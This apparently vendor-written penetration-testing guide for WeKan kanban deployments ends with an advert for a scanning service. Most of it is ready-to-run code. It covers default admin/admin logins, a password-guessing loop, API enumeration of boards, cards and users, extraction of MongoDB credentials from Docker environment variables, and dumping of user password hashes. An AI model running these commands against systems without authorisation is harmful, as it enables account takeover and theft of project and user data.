WeKan Security Testing: Default Credentials, API Token, MongoDB, and Board Data

WeKan is a widely deployed open-source kanban board platform (Trello alternative) built on Meteor.js with MongoDB as the backend, used by teams to manage tasks, projects, and workflows. Its REST API and MongoDB backend are the primary attack surfaces. Key assessment areas: WeKan defaults to admin/admin in many self-hosted installations created through the initial setup wizard; the REST API provides access to all boards, lists, and cards accessible to the authenticated user including private boards; the MONGO_URL environment variable stores the full MongoDB connection string including credentials; MongoDB may be accessible without authentication if it binds to all interfaces without authorization enabled; and WeKan's public board sharing can be misconfigured to expose sensitive project information. This guide covers systematic WeKan security assessment.

Table of Contents

  1. Default Credentials and REST API Authentication
  2. REST API Board and Card Data Enumeration
  3. MongoDB Connection String and Direct Database Access
  4. WeKan Security Hardening

Default Credentials and REST API Authentication

# WeKan — default credentials and REST API authentication
WEKAN_URL="https://wekan.example.com"

# Default credentials: admin / admin (set during setup wizard)
# WeKan REST API login — returns authToken and userId
AUTH_RESPONSE=$(curl -s -X POST "${WEKAN_URL}/users/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}' 2>/dev/null)

echo "$AUTH_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'token' in d:
    print(f'Auth token: {d[\"token\"]}')
    print(f'User ID: {d.get(\"id\")}')
    print(f'Token expires: {d.get(\"tokenExpires\")}')
else:
    print(f'Login failed: {d}')
" 2>/dev/null

AUTH_TOKEN=$(echo "$AUTH_RESPONSE" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)
USER_ID=$(echo "$AUTH_RESPONSE" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('id',''))" 2>/dev/null)

# Try common passwords
for PASS in "admin" "wekan" "password" "123456" "changeme"; do
  TOKEN=$(curl -s -X POST "${WEKAN_URL}/users/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"admin\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token','FAIL'))" 2>/dev/null)
  [ "$TOKEN" != "FAIL" ] && echo "Credentials found: admin/${PASS} token=${TOKEN}" || echo "admin/${PASS}: failed"
done

REST API Board and Card Data Enumeration

# WeKan REST API — board and card data enumeration
WEKAN_URL="https://wekan.example.com"
AUTH_TOKEN="your-wekan-auth-token"
USER_ID="your-user-id"

# List all boards accessible to the user
curl -s "${WEKAN_URL}/api/boards" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" \
  -H "userId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
boards=json.load(sys.stdin)
print(f'Boards: {len(boards)}')
for b in boards:
    print(f'  [{b.get(\"_id\")}] {b.get(\"title\")} permission={b.get(\"permission\")} members={len(b.get(\"members\",[]))}')
" 2>/dev/null

# Get all cards from a board — task content and descriptions
BOARD_ID="your-board-id"
# First get lists in the board
curl -s "${WEKAN_URL}/api/boards/${BOARD_ID}/lists" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" \
  -H "userId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
lists=json.load(sys.stdin)
print(f'Lists: {len(lists)}')
for l in lists:
    print(f'  [{l.get(\"_id\")}] {l.get(\"title\")}')
" 2>/dev/null

LIST_ID="your-list-id"
# Get all cards in a list
curl -s "${WEKAN_URL}/api/boards/${BOARD_ID}/lists/${LIST_ID}/cards" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" \
  -H "userId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
cards=json.load(sys.stdin)
print(f'Cards: {len(cards)}')
for c in cards:
    print(f'  [{c.get(\"_id\")}] {c.get(\"title\")}')
    if c.get('description'):
        print(f'    Description: {str(c[\"description\"])[:100]}')
" 2>/dev/null

# Enumerate all users in the WeKan instance
curl -s "${WEKAN_URL}/api/users" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" \
  -H "userId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    print(f'Users: {len(d)}')
    for u in d[:10]:
        print(f'  [{u.get(\"_id\")}] {u.get(\"username\")} email={u.get(\"email\")} isAdmin={u.get(\"isAdmin\")}')
" 2>/dev/null

MongoDB Connection String and Direct Database Access

# WeKan MongoDB connection string and direct database access

# Environment variable — MONGO_URL contains full connection string
# Docker deployment
docker inspect wekan 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if 'MONGO' in e or 'mongo' in e.lower():
            print(e)
" 2>/dev/null
# MONGO_URL=mongodb://wekan:PASSWORD@localhost:27017/wekan

# Snap deployment
cat /var/snap/wekan/current/wekan.env 2>/dev/null | grep -E "MONGO_URL|MONGODB"

# Check if MongoDB is accessible without authentication (common misconfiguration)
mongo --host localhost --port 27017 --eval "db.adminCommand({listDatabases:1})" 2>/dev/null | head -20
# If this returns databases without prompting for credentials, MongoDB is unauthenticated

# With MongoDB access — enumerate WeKan collections
mongo wekan 2>/dev/null << 'EOF'
// All WeKan users with hashed passwords
db.users.find({}, {username:1, emails:1, isAdmin:1, services:1}).limit(20)

// All boards including private
db.boards.find({}, {title:1, permission:1, members:1, userId:1}).limit(20)

// All cards with descriptions — project task content
db.cards.find({}, {title:1, description:1, listId:1, boardId:1, userId:1}).limit(20)
EOF

WeKan Security Hardening

WeKan Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credential exploitationPOST /users/login with admin:admin — auth token returned; access to all boards, lists, cards, and user administration; admin bypasses board permission restrictionsCritical
REST API board and card enumerationGET /api/boards — all accessible boards; GET /api/boards/{id}/lists/{id}/cards — all card content including descriptions with potentially sensitive task details, credentials, and project informationHigh
Unauthenticated MongoDB accessmongo --host localhost 27017 — if MongoDB lacks --auth flag; direct access to all WeKan collections including users (bcrypt hashes), boards, cards, and API tokensCritical (if misconfigured)
MONGO_URL credential extractiondocker inspect wekan — MONGO_URL in environment variables; MongoDB credentials enabling direct database access outside WeKan application controlsCritical
User enumeration via APIGET /api/users — all registered users with usernames and emails; enables targeted credential attacks against specific admin accountsMedium

Automate WeKan Security Testing

Ironimo tests WeKan deployments for default credential exploitation, REST API board and card data enumeration, unauthenticated MongoDB access verification on port 27017, MONGO_URL Docker environment variable credential extraction, board permission misconfiguration testing, user enumeration via API, public board access testing, and MongoDB WeKan collection enumeration including user password hash extraction.

Start free scan